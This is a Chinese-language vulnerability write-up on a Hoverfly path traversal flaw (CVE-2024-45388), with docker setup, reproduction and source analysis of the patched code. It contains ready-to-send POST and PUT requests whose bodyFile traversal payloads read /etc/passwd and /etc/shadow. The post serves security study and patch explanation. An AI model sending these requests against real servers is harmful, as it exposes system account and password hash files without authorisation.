Hoverfly 任意文件读取漏洞(CVE-2024-45388)

admin 2025年2月17日21:26:12评论13 views字数 2905阅读9分41秒阅读模式

漏洞简介

Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而,这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管代码禁止指定绝对路径,但攻击者可以通过使用 ../ 段来逃离 hf.Cfg.ResponsesBodyFilesPath 基本路径,从而访问任何任意文件。

环境搭建

我们还是利用 docker 来搭建环境

https://hub.docker.com/r/spectolabs/hoverfly/tags

Hoverfly 任意文件读取漏洞(CVE-2024-45388)
docker pull spectolabs/hoverfly:v1.10.2docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2   

漏洞复现

构造数据包

POST /api/v2/simulation HTTP/1.1
Host:127.0.0.1:8888
Accept: application/json, text/plain,*/*
User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/85.0.4183.83Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length:126
Content-Type: application/x-www-form-urlencoded

{"data":{"pairs":[{
"request":{},"response":{
"bodyFile":"../../../../../etc/passwd"}}]},"meta":{"schemaVersion":"v5.2"}}
Hoverfly 任意文件读取漏洞(CVE-2024-45388)
PUT /api/v2/simulation HTTP/1.1
Host:127.0.0.1:8888
Accept: application/json, text/plain,*/*
User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/85.0.4183.83Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length:126
Content-Type: application/x-www-form-urlencoded

{"data":{"pairs":[{
"request":{},"response":{
"bodyFile":"../../../../../etc/shadow"}}]},"meta":{"schemaVersion":"v5.2"}}
Hoverfly 任意文件读取漏洞(CVE-2024-45388)

漏洞分析

hoverfly-1.10.2corehandlersv2simulation_handler.go#RegisterRoutes

Hoverfly 任意文件读取漏洞(CVE-2024-45388)

定义了 SimulationHandler 的路由注册方法,路由的每个 HTTP 方法(如 GETPUTPOSTDELETE 等)都有一个对应的处理函数 (this.Getthis.Putthis.Postthis.Deletethis.Optionsthis.GetSchema)。这些函数处理实际的业务逻辑。

  • GET /api/v2/simulation: 处理获取模拟数据。
  • PUT /api/v2/simulation: 处理更新模拟数据。
  • POST /api/v2/simulation: 处理创建新的模拟数据。
  • DELETE /api/v2/simulation: 处理删除模拟数据。
  • OPTIONS /api/v2/simulation: 提供有关 /api/v2/simulation 端点允许的 HTTP 方法的信息。
  • GET /api/v2/simulation/schema: 获取模拟数据的 schema(结构)。
  • OPTIONS /api/v2/simulation/schema: 提供有关 /api/v2/simulation/schema 端点允许的 HTTP 方法的信息。
Hoverfly 任意文件读取漏洞(CVE-2024-45388)

POST 和 PUT 方法 仅仅是函数的第三个参数有所不同,所以两种请求方式都可以实现任意文件读取

hoverfly-1.10.2corehandlersv2simulation_handler.go#addSimulation

Hoverfly 任意文件读取漏洞(CVE-2024-45388)

第三个参数的不同导致 PUT 方法在获取新的模型内容时,首先删除前一个模拟内容,可以重复读取不同文件内容。POST 仅仅只能读取一次文件内容,无法更新。

hoverfly-1.10.2corehoverfly_service.go#PutSimulation

Hoverfly 任意文件读取漏洞(CVE-2024-45388)

hoverfly-1.10.2corehoverfly_service.go#putOrReplaceSimulation

Hoverfly 任意文件读取漏洞(CVE-2024-45388)

hoverfly-1.10.2corehoverfly_funcs.go#readResponseBodyFiles

Hoverfly 任意文件读取漏洞(CVE-2024-45388)

hoverfly-1.10.2corehoverfly_funcs.go#readResponseBodyFile

Hoverfly 任意文件读取漏洞(CVE-2024-45388)

这里就是漏洞产生的关键原因,对传入的参数 filePath 没有做具体的校验,可以通过 ../ 实现跨越目录的读取文件

我们看到最新版已经对传入的参数进行了处理

hoverfly-1.10.4corehoverfly_funcs.go#readResponseBodyFile

Hoverfly 任意文件读取漏洞(CVE-2024-45388)

hoverfly-1.10.4coreutilutil.go#ResolveAndValidatePath

Hoverfly 任意文件读取漏洞(CVE-2024-45388)

这个 ResolveAndValidatePath 函数用于从一个绝对路径(absBasePath)解析一个相对路径(relativePath),并验证这个相对路径是否合法。具体来说,它确保了相对路径不会尝试向上回溯(使用 ".."),并且解析后的路径仍然在基路径之下。

Hoverfly 任意文件读取漏洞(CVE-2024-45388)
学习网安实战技能课程,戳“阅读原文“

原文始发于微信公众号(蚁景网安):Hoverfly 任意文件读取漏洞(CVE-2024-45388)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月17日21:26:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Hoverfly 任意文件读取漏洞(CVE-2024-45388)https://cn-sec.com/archives/3752517.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息